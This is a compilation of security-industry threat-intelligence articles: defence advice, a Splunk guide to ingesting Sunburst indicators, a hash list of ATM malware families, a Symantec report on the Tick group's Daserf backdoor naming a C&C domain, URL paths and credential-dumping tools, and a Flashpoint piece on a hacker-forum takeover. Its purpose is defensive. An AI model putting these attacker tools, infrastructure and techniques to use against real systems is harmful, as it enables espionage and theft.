### Secure and defend
- Employ sandbox analysis to block malicious emails.
- Deploy the latest versions of security solutions to all layers of the system, including email, endpoint, web, and network.
- Detect early signs of an attack such as the presence of suspicious tools in the system.
- Use advanced detection technologies such as those powered by AI and machine learning.
### Train and test
- Regularly train and assess employees on security skills.
- Conduct red-team exercises and penetration tests.
A multilayered approach can help organizations guard possible entry points into the system (endpoint, email, web, and network). Security solutions that can detect malicious components and suspicious behavior can also help protect enterprises.
Trend Micro Vision One™ provides multilayered protection and behavior detection, which helps block questionable behavior and tools early on before the ransomware can do irreversible damage to the system.
Trend Micro Cloud One™ Workload Security protects systems against both known and unknown threats that exploit vulnerabilities. This protection is made possible through techniques such as virtual patching and machine learning.
Trend Micro™ Deep Discovery™ Email Inspector employs custom sandboxing and advanced analysis techniques to effectively block malicious emails, including phishing emails that can serve as entry points for ransomware.
Trend Micro Apex One™ offers next-level automated threat detection and response against advanced concerns such as fileless threats and ransomware, ensuring the protection of endpoints.
## Indicators of Compromise (IOCs)
The IOCs for this article can be found here. Actual indicators might vary per attack. |
# Onboarding Threat Indicators into Splunk Enterprise Security: SolarWinds Continued
As your team responds to the SolarWinds security advisory, we wanted to provide additional guidance to help you more effectively ingest threat indicators to combat the Sunburst Backdoor malware in Splunk Enterprise Security (ES). After applying these tips, you can jump into this blog, "Using Splunk to Detect Sunburst Backdoor," and take action.
While the existing method of downloading indicators into Splunk Enterprise has been in place for a long time whether you’re running ES 6.4 or older versions like ES 4.5, we have a few tips and tricks to share that will hopefully smooth out some bumps you may have encountered in the past.
## The Issues with Fields
One of the greatest pain points encountered when ingesting threat indicators is the naming of fields. The threat intelligence framework expects that specific header field values are being utilized. For example, if I am pulling a list of IP addresses in, the framework is expecting the field that contains the IP address to be called “IP” – not dest, src, source_ip or anything else, just “IP”. Similarly, for a domain name, it is looking for the field domain.
To illustrate this, we are going to use the GitHub repository for Sunburst Backdoor that Shannon Davis created as an example. I started off by creating two intelligence downloads called SunburstDomain and SunburstIP. I have configured the type, description and the URL that it is pulling from. When I click on each one and scroll down, I can see parsing options. Notice in Fields we are looking in the first column of the csv file for values that will populate the ip field and the description column will be filled with a constant of SunburstIPListing.
Similarly in our domain download, the domain values are in the first position on the list, which is why we are using $1 to denote where to look. We are also using a constant again to describe the list. This time, I have ignored the wisdom of using the supported type of threat intel and instead of calling my first field domain, I am calling it “url_domain”. While the threat intel download will save and the file will download, I find myself to be disappointed because these domains are not populating my lookups. How can I try to troubleshoot this?
The good news is there are a number of places that can be reviewed along the way to determine what is going wrong.
## Tips and Tricks
Start by ensuring that the Intelligence Downloads are enabled. From there, check and see if the file has been downloaded by going to Audit – Threat Intelligence Audit in Enterprise Security. The download_status should show that the threat list has been downloaded. If it didn’t, chances are that the URL is not correct.
For skeptics like me, knowing where the threat intelligence files have been downloaded to is a nice piece of information to have. From the command line, go to `$SPLUNK_HOME/etc/apps/SA-ThreatIntelligence/local/data/threat_intel/` directory. If the files have been successfully downloaded, both the SunburstDomain and SunburstIP files can be viewed in the file system. The naming convention of the files are based on the name specified in the Intelligence Downloads.
Now that I know the files are there, how do I know that they are being parsed and loaded to lookups? The lower half of the Threat Intelligence Audit dashboard has all of the audit logs pertaining to parsing the threat intelligence and loading of it so that is another nice place to look. That said, it is limited to the last 1000 events and if I want to focus on my two downloads, opening it and then adding my own file names might be a good choice.
```
eventtype=threatintel_internal_logs (SunburstIP.csv OR SunburstDomain.csv)
```
If I look closely at these two events, I want to highlight what the thrill of victory and the agony of defeat looks like. The second event shows that the IP addresses have been written to the collection. IP addresses are loaded!
The first event has thrown an error and this is due to the use of url_domain instead of domain for our field name and this has caused an exception in processing the file. The framework doesn’t know what to do with the downloaded data so it throws an error and moves on. This is definitely something to look for in events and if this error is seen, check the parsing options to ensure the field names used are defined by ES.
At this point I am going to set the domain indicators aside and finish up with the IP address. There are a few intermediate steps that happen that I won’t bore you with, but what we are striving for is that the data gets loaded to the KVStore into the various threat collections, depending on the type of indicator.
```
| inputlookup ip_intel | search description=SunburstIPListing
```
In this case, I can search the ip_intel table to see if the indicators have been loaded. Because I want to focus on the SunburstIPListing, which is the description that I added into the parsing options, I can use a `| search` to narrow my results set to just that list. From there, the threat intelligence framework takes over and a series of saved searches run on an ongoing basis to correlate events with the different threat collections and write the data to the threat_activity datamodel. The correlation search will then run on a scheduled basis and pluck the new items out of the datamodel and create notables out of them.
I hope this has been helpful and will streamline your onboarding of these threat indicators into your Splunk Enterprise Security instance. |
# Global ATM Malware Wall
| Hash | Signature | Date |
|----------------------------------------------------------------------|-------------------|------------|
| 3fc60a83ef20e211458314b964dd532fa2ddedf042b508f5512b41f05f731116 | DispCashBR | 2021-04-30 |
| 3a1d992277a862640a0835af9dff4b029cfc6c5451e9716f106efaf07702a98c | Ploutus-I | 2020-11-24 |
| 4f6d4c6f97caf888a98a3097b663055b63e605f15ea8f7cc7347283a0b8424c1 | Ploutus-I | 2020-08-21 |
| 6c9e9f78963ab3e7acb43826906af22571250dc025f9e7116e0201b805dc1196 | ATM.Loup | 2020-08-14 |
| dce1f01c08937fb5c98964a0911de403eed2101a9d46c5eb9899755c40c3765a | Ploutus-I | 2020-05-27 |
| 8ca29597152dc79bcf79394e1ae2635b393d844bb0eeef6709d37e6778457b31 | Ploutus-I | 2020-05-21 |
| 05a00a4b2d07780021bcd1a4abe84dc0ee28531136414f0ee631fa0d9844d479 | DispCash.10 | 2020-05-15 |
| 98e7fe52634c9ed9105a1604169e29d797419cb89ae863c2178999f34abd1497 | DispCash.10 | 2020-05-15 |
| fc7fb41d47409efea69ed59c791b7d4144f92f6f3ed9834742db82dd779084e6 | WinPot | 2020-02-21 |
| acc9be34ac6effb6a87cd5110f68e7c59a982f44fa53619a07e5c67da1b99a53 | WinPotv3 | 2020-02-21 |
| 6b2fac8331e4b3e108aa829b297347f686ade233b24d94d881dc4eff81b9eb30 | Alice | 2020-01-09 |
| 7cea6510434f2c8f28c9dbada7973449bb1f844cfe589cdc103c9946c2673036 | DispCashBR | 2019-12-04 |
| 5c002870698258535d839d30f15c58934869c337add65c9b499aca93fb1c8692 | DispCashBR | 2019-12-04 |
| adf43c6957fd11e45ffa4f2a71eb0ef565da9c4a9bc9cd101d2ac485b5358c46 | HelloWorld | 2019-11-18 |
| d9c1151ac686be204e2bdf368130fdb972668d3090b9f9fb0d0e60ebae473776 | HelloWorld | 2019-11-18 |
| fead0633975c6c08f5509a7bd5c34d29bfdcacd3da47562efbf33121726f77b0 | HelloWorld | 2019-11-18 |
| 4b13c835e07ae4318d936e70451b49677c7063691749913c08efbea66959cf8c | HelloWorld | 2019-11-18 |
| d6dff67a6b4423b5721908bdcc668951f33b3c214e318051c96e8c158e8931c0 | XFSCashNCR | 2019-08-28 |
| 2740bd2b7aa0eaa8de2135dd710eb669d4c4c91d29eefbf54f1b81165ad2da4d | XFSADM | 2019-06-21 |
| d7ce7b152f0da49e96fa32a9336b35253905d9940b001288d0df55d8f8b3951f | NVISOSPIT | 2019-05-31 |
| 4a75be18a3fe0033a9ebdb8f4af81c94e03581d19b5b4373e74e41283fd2615f | DispCash.19 | 2019-05-17 |
| 7dde7f6da73c44cb19cf12e5e9174c2b8b2635e380aff5b89a045204803488a6 | DispCash.19 | 2019-05-17 |
| b57bc410683aba4c211e407320e6b7746ce25e06d81ddf480711228efd921a6c | WinPotv3 | 2019-05-01 |
| 009b677564b3ebb0831171edf3fb0deb0fa3b0010b74586e01d8df4af965ef3f | WinPotv3 | 2019-04-23 |
| 20fb2edfcece271f87d006e263c4a6de48ed518901211a76dc38aac43e1b9d19 | WinPotv3 | 2019-04-23 |
| 70cc5070ce058682c1d44cef887c0ec8a50dba6b717802c5a8f2c8f2ed377c13 | WinPotv3 | 2019-04-23 |
| 1d6508cbe5f7ccaa991572f05aef52bab8a59851ca9a4367605a9637b10ae081 | WinPotv3 | 2019-04-23 |
| e372631f96face11e803e812d9a77a25d0a81fa41e4ac362dc8aee5c8a021000 | Atmosphere | 2019-04-02 |
| bf9c35d8f33e2651d619fe22a2d55372dedd0855451d32f952ecfc73fa824092 | Atmosphere | 2019-04-02 |
| 66db5b6b5dc51de7e5380f214f703bdc69ab3c3bec7c3b67179940a06560f126 | ATMitch.B | 2019-03-06 |
| ef407db8c79033027858364fd7a04eeb70cf37b7c3a10069a92bae96da88dfaa | Java/Dispcash | 2019-03-04 |
| 0149667c0f8cbfc216ef9d1f3154643cbbf6940e6f24a09c92a82dd7370a5027 | Java/Dispcash | 2019-03-04 |
| 867991ade335186baa19a227e3a044c8321a6cef96c23c98eef21fe6b87edf6a | HelloWorld | 2019-02-25 |
| 2de4a510ee303c04c8d7bd59b7987b22c3471c9f4ba69b5f83ba36de88b63a8d | HelloWorld | 2018-12-30 |
| 0720db2469a61d41c1e67a8f32020927a32422a5d58067bb328a2ff407e14e98 | WinPot | 2018-12-11 |
| 8d7f932d8236671018c5cd02781301134aa6df315253f7a56559350d2616ff8e | WinPotv3 | 2018-11-29 |
| 6670ccc940cca6983340dbce1a9bbce7b49643ac924e18ca25def8b632b70720 | WinPotv3 | 2018-11-29 |
| e2c87bca353016aced41305ddd66ee7430bf61a20c0f4c8c0f0650f006f05160 | WinPotv3 | 2018-11-29 |
| cde6f7fb2fbdefffe22a012295ab157cffc07cab26ba0e34ced0bae484355187 | Trojan.Skimer.39 | 2018-10-03 |
| d74cbd2e39dc0a00dc4c0fb0823c5a86455cdad2be48d32866165c9e5557c3e0 | ATMii | 2018-09-24 |
| 9feea4b7a5b438335353bb4eac82f8f2a16232a90b7cddbf77dc73dd451e9a6e | ATMDispCash.11 | 2018-09-14 |
| 26b2daa6fbf5ec13599d24e6819202ddb3f770428d732100be15c23be317bd47 | Atmosphere | 2018-09-05 |
| 956968e6f4bf611137ea0e747891ba8dc200ca809c252ef249294912fb3dbe3c | Atmosphere | 2018-09-05 |
| eeb8390e885612e1f0b8f8922baa4ebc9ba420224b30370d08b45f3453949937 | Atmosphere | 2018-09-05 |
| a6c33d7275c46397593f53ea136ea8669794f4d787044106594631c07a9ee71d | Atmosphere | 2018-09-05 |
| a4b42f503090cd3cd53963ddaf0be3e4eeedbd81ff02664668e68612816e727f | ATMWizX | 2018-09-03 |
| 7bd2c97ac5027c360011dc5aa8f2371cd934f73e885e41f7e80152332b3af1db | ATMWizX | 2018-09-03 |
| a5d0cd1bc33f44d25695ebd6530757180f4fc4d87a1658ee2f0d8fc42d09fb80 | WinPot | 2018-08-08 |
| 7888e9a27b27f026f09997414504be5822f35b69ddec826eb2a56f6347e2d147 | Trojan.Skimer.37 | 2018-08-02 |
| 5f926e3b173b9bd752b7a132058ed07cd88609bc2cb1d8c17e43fd7c8e7a857e | WinPot | 2018-07-19 |
| 4c98d5cd865d7fe2f293862fae42895045e43facfdd2a3495383be4ddbb220dc | ATMripper | 2018-06-18 |
| 21f3c0bf3fc05685ec5b7bf3c98103761894d7c6783c2c12afae958eb103598e | ATMripper | 2018-06-18 |
| 5f5d483c1fcd1638b32d11183c5ed5fd36362fb12d62e1d9940b47906733d672 | ATMii | 2018-06-15 |
| db1169df116fda46319c4b87607df7b6a5e80b48de5411d47684974ca22dd35a | Alice | 2018-06-15 |
| 23c50f1c37b7c55554c282ba1781e9d6279cbbd7bfc5f64772d2e7a8962ebe70 | Alice | 2018-06-15 |
| 07bd2de9702c8b77307df84fce2017018919df6a9170fced0246fe9a551354bf | Ploutus | 2018-06-15 |
| 9f8a7828d833ed7f28f9f5ceaf1c073c6de0645172b8316d86edc16c84b61c4f | ATMtest | 2018-06-12 |
| c3a5c8e9195163cef8e0e70bd8f3d49c8048e37af7c969341e1753aee63df0ae | WinPot | 2018-05-16 |
| d9c6515fd0fb3cd14b4bb4d11ecda78602d17f370780a4b9ee006a9830106213 | WinPot | 2018-05-16 |
| 64499b2584d239380ffecf07e94167e0414c4bb5438620659fe37d595ef3f361 | ATMripper | 2018-04-05 |
| 3f5ff48aa4dc2c1af3deeb33a9cc576616dad37156ae9182831b1b2a5ae4ae20 | WinPot | 2018-03-16 |
| 5f4215368817570e7a390c9f6e265a7db343c9664d22008d5971dac707751524 | Piolin | 2018-01-29 |
| f6609bb3c3197ace26ebdeb372ba657ac84b05a3e9e265b5211e1ea42da70dbe | HelloWorld | 2018-01-28 |
| 5f70c76b6771b7c56bc5da34e424eb9a090cedeb807c795795a88c415a2e772c | DispCash.10 | 2017-07-17 |
| 0ef71569308d44e89bde48096c67caf73ec177c1c970a2fd843fd3a094502d78 | ATMii | 2017-04-12 |
| 7fac4b739c412b074ee13e181c0900a350b4df9499515febb75008e6955b9674 | ATMii | 2017-04-12 |
| d60126545fa68b14c36cd4cffa3f81ed487381482582acbba786fa88884f636b | Atmosphere | 2017-03-14 |
| 5c838658b25d44edab79a4bd2af7c56bef96768b93addbbaaaea36da604fca62 | Atmosphere | 2017-03-14 |
| b66615b186bf7067cdb937220f86b1d9411351e0b06ee8d02cf6c5358348e884 | ATM.DispCash.3 | 2017-03-02 |
| b00cd2ca5247c93e3a40f73006051bbfada3b1bc73c4d44105384824bb60131d | ATM.DispCash.3 | 2017-03-02 |
| 622d7489208578eaaaae054a07e16b4b8c91a3fde6e61d082a09aee5a1b1f829 | ATM.DispCash.3 | 2017-03-02 |
| d93342bd12ef44d92bf58ed2f0f88443385a0192804a5d0976352484c0d37685 | Ploutus | 2017-01-26 |
| 7fd109532f1e49cf074be541df38e0ce190497847fdb5588767ca35b9620a6c2 | Ploutus | 2017-01-24 |
| e75e13d3b7a581014edcc2a397eaffbf91c3e5094d4afd81632d9ad872f935f4 | Ploutus | 2017-01-24 |
| 0e37b8a6711a3118daa1ce2e2f22c09b3f3c6179155b98215a1d96a81c767889 | Ploutus | 2017-01-23 |
| 0971c166826163093093fb199d883f2544055bdcfc671e7789bd5088992debe5 | Ploutus | 2017-01-19 |
| aee97881d3e45ba0cae91f471db78aded16bcff1468d9e66edf9d3c0223d238f | Ploutus | 2016-12-11 |
| 62b61f1d3f876300e8768b57d35c260cfc60b768a3e430725bd8d2f919619db2 | Ploutus | 2016-12-11 |
| 04db39463012add2eece6dfe6f311ad46b76dae55460eea30dec02d3d3f1c00a | Ploutus | 2016-11-26 |
| 3d8c7fb9e55f96cf3073b321ee5e59ff2189d70b0662bc0b88990971bc8b73d8 | ATMripper | 2016-08-30 |
| 22db6a994eb057715b499c5641cc608fb0380aeea25f78180436c35ecd81ce7d | ATMripper | 2016-08-30 |
| cc85e8ca86c787a1c031e67242e23f4ef503840739f9cdc7e18a48e4a6773b38 | ATMripper | 2016-08-26 |
| e3a6970d66bc4687b21381353826fabd469007c869efc711fdd0e4711aa77ffc | ATMripper | 2016-08-26 |
| 6efedf9bde951ad6c3e240ec498767bb693ecc8fa62040e624c5a7fa21c5bdaa | Trojan.ATMDispCash.4 | 2016-08-21 |
| d4a463c135d17239047ad4151ab2f2d084e223970e900904ecedabc0fd916545 | Cutlet | 2016-08-04 |
| 05fae4bef32daf78a8fa42f8c25fdf481f13dfbbbd3048e5b89190822bc470cd | Cutlet | 2016-08-04 |
| 4a340a0a95f2af5ab7f3bfe6f304154e617d0c47ce31ee8426c70b86e195320c | Cutlet | 2016-08-04 |
| fe1634318e27e3af856506d49a54d1d12e1cf650cbc31eeb0c805949edc8fc85 | Cutlet | 2016-08-04 |
| c18b23cc493f89d73a2710ebb177d54beafe0edf0e17cc79e28d9efdfb69a630 | Cutlet | 2016-08-04 |
| d1a0b2a251fa69818784e8937403c18f09b2c37eead80ba61a3edf4ac2b6b7ff | Cutlet | 2016-08-04 |
| f27e27244233f2bb5b02412d4b05315625928adaa340708e91d61ad3bce54bf6 | ATMSpitter | 2016-08-02 |
| 8770f760af320d30681a4eb4ded331eab2481f54c657aac607df8babe8c11a6b | ATMSpitter | 2016-08-02 |
| 85e5aacbc9113520d93f1d9d73193c3501ebab8032661052d9a66348e204cde6 | ATMSpitter | 2016-08-02 |
| c5b43b02a62d424a4e8a63b23bef8b022c08a889a15a6ad7f5bf1fd4fe73291f | ATMSpitter | 2016-08-02 |
| bf20c674a0533e7c0d825de097629a96cb42ae2d4840b07dd1168993d95163e8 | ATMSpitter | 2016-08-02 |
| 4035d977202b44666885f9781ac8755c799350a03838ff782eb730c0d7069958 | ATMSpitter | 2016-08-02 |
| ea5ebd1e5f98e10b1e7c834dd54707ad06772bccb4179cae7e50c7e6e772a1ab | ATMitch | 2016-06-27 |
| 1065502d7171df7be3776b839410a227c540cd977e5e856bbbcd837b0872bdb6 | ATMitch | 2016-06-27 |
| 377f85562e9ec16cae8fed87e43b6dd230eaa6e1c8f2732f5096f1ec951f045a | Ligsterac | 2016-05-15 |
| d10a0e0621a164fad0d7f3690b5d63ecb9561e5ad30a66f353a98395b774384e | Prilex | 2016-02-11 |
| d33d69b454efba519bffd3ba63c99ffce058e3105745f8a7ae699f72db1e70eb | Suceful | 2015-09-11 |
| c7cb44e0b075cbc90a7c280ef8f1c69e8fe06e7dabce054b61b10c3105eda1c4 | Suceful | 2015-09-11 |
| 5a37be2d298145b766ba54616677d802cfabc62e3b9be2ffb6d4719d3f8143e9 | GreenDispenser | 2015-09-04 |
| 50db1f5e9692f217f356a592e413e6c9cb31105a94efc70a5ca1c2c73d95d572 | GreenDispenser | 2015-09-04 |
| 7544e7a798b791cb36caaa1860974f33d30bc4659ceab3063d1ab4fd71c8c7e0 | GreenDispenser | 2015-09-04 |
| 20a1490b666f8c75c47b682cf10a48b7b0278068cb260b14d8d0584ee6c006a5 | GreenDispenser | 2015-07-20 |
| 77850f738ba42fd9da299b2282314709ad8dc93623b318b116bfc25c5280c541 | GreenDispenser | 2015-06-11 |
| b7e61f65e147885ec1fe6a787b62d9ee82d1f34f1c9ba8068d3570adca87c54f | GreenDispenser | 2015-06-04 |
| 3639e8cc463922b427ea20dce8f237c0c0e82aa51d2502c48662e60fb405f677 | Tyupkin | 2015-04-15 |
| 2721a5a6478bfff2c5de0d105623ba5f411401bbd92bd3e2bee4c51c2d12f5a8 | Trojan.Skimer | 2015-04-03 |
| d90257af70401984d5d41dd057114df88566d00329874ced3103a6f8cd1991e5 | Trojan.Skimer | 2015-02-20 |
| 04f25013eb088d5e8a6e55bdb005c464123e6605897bd80ac245ce7ca12a7a70 | Alice | 2014-12-29 |
| e3bf733cc85da7421522a0b1ff788d43bcacd02815a88d19426e80de564174b3 | Alice | 2014-12-29 |
| b8063f1323a4ae8846163cc6e84a3b8a80463b25b9ff35d70a1c497509d48539 | Alice | 2014-11-25 |
| 639d2d926325275cb023014d0b446d03f1dcc8526bff1aa72373e27d78a6a674 | Tyupkin | 2014-10-10 |
| 646433de5c56fdbc7e6e934a05e9e99012ef39a0ed6cc4bdb1d984cd4435379e | Tyupkin | 2014-10-08 |
| 16166533c69f2f04110e8b8e9cc45ed2aeaf7850fa68845c64d92ff907dd44f0 | Tyupkin | 2014-10-01 |
| 653701d02c5d8d39b3da9b0848d20921cd65ea28e77c8e9254e222601264bcc6 | Trojan.Skimer | 2014-09-08 |
| 5ab6358e1886655257c437ebad71b98a6575313b2f9327359661aac5d450c45a | Trojan.Skimer | 2014-06-05 |
| 4941331c64e0389d5ec966122ef71a99d8f9830f13e9afa758e03275f896c2eb | Trojan.Skimer | 2014-06-05 |
| 853fb4e85d8b0ad7c156ad6d3fc4b0340c8b29fa0548a3df758e7845ba8b23ae | Tyupkin | 2014-06-04 |
| 03bb8decefc540bff5b08425adddb404b345452c8adedee0c8af13572891865b | DIAGK | 2014-06-03 |
| 8bb5c766de0a73dc0eff7c9fce086565b6220465185e258c21c5b9dfb0bef51d | Tyupkin | 2014-05-31 |
| c8d57b32ab86a3a97f89ae7f1044a63cca2b58f748bed250a1f9df5c50fc8fbb | Ploutus | 2014-05-29 |
| 398e335f2d6379771d86d508a43c567b4156104f89161812005a6122e9c899be | Ploutus | 2014-05-19 |
| 85652bbd0379d73395102edc299c892f21a4bba3378aa3b0aaea9b1130022bdd | NeoPocket | 2014-04-29 |
| 6c59cd1e12bc1037031af48b934e9398fc85efb2a067d03b6a100dd8423e5d9b | Tyupkin | 2014-04-15 |
| b670fe2d803705f811b5a0c9e69ccfec3a6c3a31cfd42a30d9e8902af7b9ed80 | Tyupkin | 2014-04-09 |
| e78e6155b8dfd206ba5a5e7253409891bfed1b943d217e0fbc416a25fa761580 | SkimerWC | 2014-02-03 |
| e267fb3044c31256f06dd712c7aeae97ad148fd3157995a7e536e5473c1a2bc0 | SkimerWC | 2014-02-03 |
| dff7ee95100ffaec5848a73a7b306eaaee94ae691dfccff9fe6ce0a8f3b82c56 | SkimerWC | 2014-02-03 |
| 359bb8596e4befafdaca706630bec598400694305622c116acdfa59074f1858e | Trojan.Skimer.18 | 2013-11-29 |
| ac8e8216e71e078198ef67d4cb48118767d0696610a02137492814422153d3c6 | Trojan.Skimer.18 | 2013-11-13 |
| d99339d3dc6891cdd832754c5739640c62cd229c84e04e9e3cad743c6f66b1b9 | Ploutus | 2013-10-24 |
| 34acc4c0b61b5ce0b37c3589f97d1f23e6d84011a241e6f85683ee517ce786f1 | Ploutus | 2013-09-02 |
| 0106757fac9d10a8e2a22dce5337f404bfa1c44d3cc0c53af3c7539888bc4025 | Ploutus | 2013-08-28 |
| 265f7a2ae7c931db0da8598ebb496d9e308be549b48909115039120b326ce50e | Trojan.Skimer.38 | 2013-05-21 |
| b51973c530802ae19df8ac4d9643fc3317952242d9d42f951e094c72d730dd66 | Trojan.Skimer.17 | 2012-05-17 |
| aaeee605cb1850dd81da8990fe4115fe85e5d4eb84ddaf2fa8d0b21afdc2b293 | Ligsterac | 2011-06-08 |
| 1243c478a7145fa08a03200611fcf5fae9bb58039c5069ef93e150d53cf22524 | Ligsterac | 2011-05-20 |
| b39c5992c2cb70c76c82d6fba3cc0b7972c2f9b35227934b766e810f20a5f053 | Trojan.Skimer.9 | 2011-01-17 |
| 34e7060e7a0c0ba24fcb55c641e5b586cef744e10ebd5a9f73ecd2ed2f4e9c1f | Trojan.Skimer.15 | 2009-03-21 |
| b361963fe11b149afc526a6e0656c08226f943bdba0f2c7c0a7640fba09afce8 | Ligsterac | 2009-03-18 | |
# Endpoint Protection
A longstanding cyberespionage campaign has been targeting mainly Japanese organizations with its own custom-developed malware (Backdoor.Daserf). The group, known to Symantec as Tick, has maintained a low profile, appearing to be active for at least 10 years prior to discovery.
In its most recent campaign, Tick employed spear-phishing emails and compromised a number of Japanese websites in order to infect a new wave of victims. The group is highly selective in its approach and only appears to deploy its full range of tools once it establishes that the compromised organization is an intended target. Tick also uses a range of hacktools to map the victim’s network and attempt to escalate privileges further.
Daserf’s main purpose is information stealing, and the Trojan is capable of gathering information from infected computers and relaying it back to attacker-controlled servers. Tick’s most recent attacks have concentrated on the technology, aquatic engineering, and broadcasting sectors in Japan.
## Recent attacks
Symantec discovered the most recent wave of Tick attacks in July 2015, when the group compromised three different Japanese websites with a Flash (.swf) exploit to mount watering hole attacks. Visitors to these websites were infected with a downloader known as Gofarer (Downloader.Gofarer). Gofarer collects information about the compromised computer and then downloads and installs Daserf.
Tick also used spear-phishing emails in these recent attacks. While Symantec did not find the emails themselves, it did identify the use of an exploit designed to take advantage of a vulnerability in Microsoft Office documents (CVE-2014-4114). This was used to distribute malware in addition to the watering hole activity.
## Tick under the microscope
Daserf appears to be custom-developed for use in Tick’s cyberespionage campaigns. Once installed, it establishes a remote connection to Tick’s command and control server, providing the attacker with access to the compromised computer.
Once the malware is installed on a targeted computer, the attackers attempt to enumerate the network and escalate their privilege level. To do this, Tick uses a number of publicly available hacktools such as Mimikatz, GSecdump, and Windows Credential Editor. The tools are downloaded and deployed to the original install directory previously created by the malware.
Tick’s primary objective appears to be the theft of sensitive information from targeted Japanese organizations. To date, Symantec has observed the group attempting to steal emails and documents such as PowerPoint presentations.
## Low-profile threat
The Daserf Trojan employs a number of tactics to avoid detection. Once collected, the stolen data is hidden in password-protected .rar archives. Daserf also uses file and folder names related to legitimate programs often found in Windows environments in order to blend in. Observed folder names include HP, Intel, Adobe, and perflogs, and folders are generally created in either the root drive or the Application Data or Program Files folders. File names used in recent attacks include adobe.exe, adobe_sl.exe, intel.exe, and intellog.exe.
## Command and control servers
Tick uses compromised web servers to distribute malware and, in some instances, for its command and control (C&C) infrastructure. However, in most cases, it relies on its own infrastructure for C&C purposes.
In its most recent campaigns, the group registered the domains used for C&C servers days after the malware was compiled. For example, one of the variants of Daserf used was compiled on July 8, 2015. This sample was seen contacting the C&C domain www.dreamsig.com, which was first registered on July 13, 2015, five days after the compilation date. This pattern occurred in multiple Daserf samples.
Another interesting aspect of the communication between the malware and the C&C infrastructure is how the malware changes the URL from a randomly chosen variable selected from a predefined list.
### Predefined list from Daserf MD5: 765017E16842C9EB6860A7E9F711B0DB
- rjdyw.asp
- xszgj.asp
- dheyf.asp
- ejdhf.asp
- gxbne.asp
- swetf.asp
- qgfhr.asp
- whjdh.asp
- zgfer.asp
- cshyr.asp
- fxkle.asp
- tmwry.asp
- viksr.asp
- ycghw.asp
## Stolen digital certificates used in selected cases
The majority of the malware analyzed was not digitally signed. However, a small percentage was signed with a stolen digital certificate. It is unclear why the certificate was used so sparingly, since signed malware would receive a greater level of trust and reduce the risk of detection. It is possible that the certificate was used against a target that had a secure environment which may have required binaries to be signed in order to interact with the operating system. The issuer of the certificate has been informed of its misuse and confirmed that it would be revoked.
## Targets
The use of compromised websites to infect victims results in unintentional infections, making it difficult to identify the motives of the attacker. By searching for evidence of post-infection activity, Symantec identified seven organizations where Tick had mounted persistent post-compromise attacks. These organizations were primarily large Japanese technology, engineering, and media firms.
The seven organizations therefore appear to be Tick’s intended targets. In addition to seeing post-compromise tools used in these attacks, the length of time the attackers were active on the networks provided additional evidence that these were high-value targets. The longest time Tick was active in a victim’s environment was 18 months. The average timeframe was five months, and the number of infected hosts in a victim’s network ranged from 3 to 15 systems.
## Conclusion
Tick has left a trail of evidence indicating that its activity began as early as 2006. In earlier attacks, the group used malicious Microsoft Word documents to infect victims, with compromised websites being added to the mix as a more recent attack vector. Tick appears to be a well-organized group, with the funding and capability to develop and update its malware. It has the ability to compromise legitimate infrastructure to use for malware distribution and has access to stolen digital certificates to sign its malware when needed. Tick primarily uses purchased infrastructure for its C&C servers and has been able to stay off the radar since 2006.
Tick exhibits all the hallmarks of an advanced cyberespionage group. The long lifespan of the group, as well as the consistent targeted attacks against specific industries, support this theory. The individuals or organization behind Tick’s operations has an interest in Japanese technology along with Japanese media and broadcasting organizations. While Tick’s tactics may change over time, the group’s history indicates that its focus will continue to be a narrow range of targets, mainly in Japan.
## Protection
Symantec and Norton products protect against these threats with the following detections:
- Antivirus
- Intrusion prevention system |
# New Operators Usurp Elite Russian Hacker Forum "Verified"
On February 17, 2021, the elite Russian hacker forum, “Verified,” resurfaced abruptly, stood up with new web domains and new, unnamed admins claiming ownership. The speed and erratic nature of these developments, along with the peculiar nature of the new admins’ communications, have left many cybercriminal users suspicious as to the operators’ real intentions and credibility.
## Frenetic Takeover of “Verified” Hacker Forum Leaves Cybercriminals Wary
Flashpoint analysts continue to investigate the Verified forum and are actively monitoring hacker chatter for any noticeable shifts in community behavior or sentiment.
## Notorious Russian Hacker Forum Active for More Than a Decade
For well over a decade now, Verified has been among the top cybercriminal venues for highly-skilled Eastern European hackers and associates, who routinely flock to the site to conduct their illicit cyber operations.
## New, Unnamed Operators Gain Control, Promise Changes
As new Verified-linked domains emerged online last week, an unknown group of nameless administrators claimed to usurp control of the long-standing forum. Following their successful takeover, the new admins notified all Verified forum users of this news, making use of the previous admin alias “VR_Support” to alert the entire forum community. They explained the reason for their abrupt takeover, claiming that the prior admins locked them out of Verified’s former domains. Upon gaining access to Verified’s admin panel, they allegedly found the forum’s networking infrastructure in disarray with little to no security or user protections of note.
The new operators purport that Verified’s inadequate site security propelled them into action to seize control, further asserting that the former site domain (verified[.]sc) had been hacked. They promised to share screenshots as proof, but as of the writing of this post, that evidence has yet to materialize.
## Dubious Timing and No New Inventory Add to Cybercriminal Suspicions
The new admins also announced additional operational changes to the forum: They plan to deactivate the forum’s former Jabber support servers and will offer free registration to all users for an extended period of time to encourage swift adoption of the new domains. While the renewed flurry of admin activity may reassure some cybercriminal users, many remain skeptical due to the dubious timing of it all and the lack of new forum data since January 20, 2021—which, coincidently or not, is the same date as the site’s claimed seizure and ownership transfer.
## Former Verified Operators’ Continued Silence Is Deafening
Further confounding forum users and cybercriminal onlookers alike, the former admins of the old Verified domain have not yet acknowledged the seizure and transfer of Verified anywhere online. No one has even copped to connectivity issues or other technical malfunctions that act at least as a partial explanation for all of this frantic movement.
## Cybercriminal Suspicion Loud and Well-Founded
Needless to say, the frenetic pace of activity and the suspect narrative meant to ease user trepidation may have done just the opposite, deepening their concerns rather than alleviating them. Some savvy Verified cybercriminal users clearly have their eyebrows raised as they comment on the new admins’ posts with skeptical reactions, mentions of “fake news,” and expletive-laden posts trolling the new management.
Users on the rival Russian-language hacker forum “Exploit” have also expressed their own disbelief about the dubious Verified domain and administration changes. In the wake of several recent high-profile US-EU joint law enforcement campaigns targeting other prominent Eastern European cybercriminal syndicates and illicit dark web marketplaces with operations stemming back to places like Bulgaria and Ukraine—perhaps, these suspicions are well-justified. |
# Operation Cobalt Kitty
## Threat Actor Profile & Indicators of Compromise
### Attribution
